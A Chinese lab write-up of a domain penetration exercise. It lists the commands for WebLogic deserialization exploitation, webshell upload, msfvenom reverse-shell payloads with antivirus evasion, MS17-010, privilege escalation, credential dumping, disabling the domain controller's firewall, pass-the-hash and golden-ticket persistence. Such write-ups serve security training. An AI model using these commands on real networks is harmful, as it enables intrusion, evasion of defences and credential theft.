本文来源:记一次内网渗透靶场学习 - 先知社区 (aliyun.com)
环境介绍web: 外网ip - 192.168.10.80 内网ip - 10.10.10.80 PC: 外网ip - 192.168.10.201 内网ip - 10.10.10.201 DC: 内网ip - 10.10.10.10 web、PC、DC都处于同一域环境内,需要手动开启weblogic服务 外网端口探测首先nmap扫描一下端口发现了1433端口判断是sql server,另外一个特征端口就是7001端口,判断为weblogic端口 nmap -T4 -sC -sV 192.168.10.80weblogic getshell这里访问一下weblogic所在的7001端口,注意这里直接访问7001端口会显示404,这里直接访问192.168.10.80:7001/console即可 首先尝试一下控制台弱口令weblogic weblogic无果 这里直接使用weblogic漏洞检测工具,也可以使用weblogic批量扫描脚本去扫描,扫描发现存在几个反序列化漏洞 这里我是用CVE-2017-10271进行命令执行发现为administrator权限 查看ip情况为双网卡,初步判断有域环境 tasklist /svc查看一下进程发现了360主动防御,那么后面的马就需要做免杀处理 这里直接使用漏扫工具中自带的jsp马先上传进行尝试 访问一下能够访问到,那么已经上传成功 使用蚁剑尝试连接失败,这里我觉得可能是有360的原因,而jsp的马在蚁剑默认是没有加密解密器的,所以应该是被360给拦了 这里我换一个冰蝎的马传上去试试 使用冰蝎连接成功 初步做一下信息搜集,发现DNS为de1ay.com,应该这个就是域的名称 上线msf这里首先生成一个msf的马 msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.10.30 lport=4444 -f exe > msf.exe使用冰蝎上传到靶机上 执行一下,这里因为有360的原因使用msf的原生马是不能够上线的,会被360拦截 这里我后面使用了一下混淆进行了初步免杀处理,然后上线到了msf 内网渗透扫描内网这里首先添加一个10.10.10.0/24段的路由,方便后续操作 route add 10.10.10.0 255.255.255.0 1route print使用socks路由把msf带入内网,需要在proxychains.conf里面添加路由 use auxiliary/server/socks4arun这时候就可以使用msf中的udp_probe模块对10.10.10.0/24段的主机进行信息搜集,这里发现10段还有另外两台主机,10.10.10.10和10.10.10.201 这里使用常规的nmap对这两个ip进行端口扫描发现什么都没有扫出来,那么这里应该是有防火墙的原因 ms17-010这里使用ms17-010模块首先对内网进行扫描一下能不能够通过漏洞直接进行横向移动,注意因为有360的原因这里线程不要调的太高 use auxiliary/scanner/smb/smb_ms17_010set rhost 10.10.10.0/24set threads 5run扫描完成后发现这里两台主机都可以利用永恒之蓝,就结束了(吗?) 这里直接利用exp打一波,发现都打失败了,应该是没有开匿名管道的原因 use exploit/windows/smb/ms17_010_eternalblueset rhosts 10.10.10.80runmsf派生cs会话这里我在鼓捣半天之后使用getuid查看了一下当前的权限发现还只是一个user权限,也使用不了mimikatz,因为在cs上提权比较方便,这里就直接msf派生个对话给cs,在cs上进行提权操作 使用payload-inject把msf的对话派生给msf use exploit/windows/local/payload_injectset PAYLOAD windows/meterpreter/reverse_httpset DisablePayloadHandler trueset LHOST 192.168.1.5set LPORT 5555set SESSION 2run
这里在cs创建一个监听host为192.168.1.5,port为5555接受msf的对话 查看下内网ip的信息,dns为10.10.10.10,那么10.10.10.10大概率为域控 查看一下主机信息,证实了猜想 net computers权限提升这里因为是一个user权限首先要进行提权操作,使用systeminfo查看补丁情况发现只打了3个补丁,那么可以提权的exp有很多 这里使用ms14-058直接提权到system 使用logonpasswords导出密码 看到这里有一个SID为500的域管的帐号,那么直接可以用psexec进行hash传递横向移动 横向移动这里首先扫描一下网段下的主机 和基本判断的一致,内网下有3台主机 这里使用80主机进行psexec操作 这里psexec执行了但是没有主机上线,这里想起来psexec是需要在防火墙关闭的情况下才能够进行pth的,所以这里尝试一下先ipc连接关闭防火墙后再进行psexec横向移动 使用ipc与10.10.10.10进行连接 shell net use \\10.10.10.10\ipc$ 1qaz@WSX /user:Administratorshell net use使用sc创建计划任务立即执行关闭域控防火墙 sc \\10.10.10.10 create unablefirewall binpath= "netsh advfirewall set allprofiles state off" sc \\10.10.10.10 start unablefirewall这里关闭之后psexec还是没有成功,是因为这里DC只有内网ip,所以这里需要用到web进行中转操作才能够上线cs 这里我用到cs的smb beacon进行流量中转,首先建立监听一个smb beacon 再使用smb beacon进行psexec 即可上线DC 这里因为拿到了域管的帐号,这里也使用psexec的方式上线cs,这里当时可以使用批量pth进行上线 上线成功 权限维持这里使用到黄金票据进行权限维持 在Kerberos认证中,Client通过AS(身份认证服务)认证后,AS会给Client一个Logon Session Key和TGT,而Logon Session Key并不会保存在KDC中,krbtgt的NTLM Hash又是固定的,所以只要得到krbtgt的NTLM Hash,就可以伪造TGT和Logon Session Key来进入下一步Client与TGS的交互。而已有了金票后,就跳过AS验证,不用验证账户和密码,所以也不担心域管密码修改。
首先hashdump出krbtgt的hash值 查看一下SID 在web主机上生成金票 可以看到这里dir域控c盘成功
|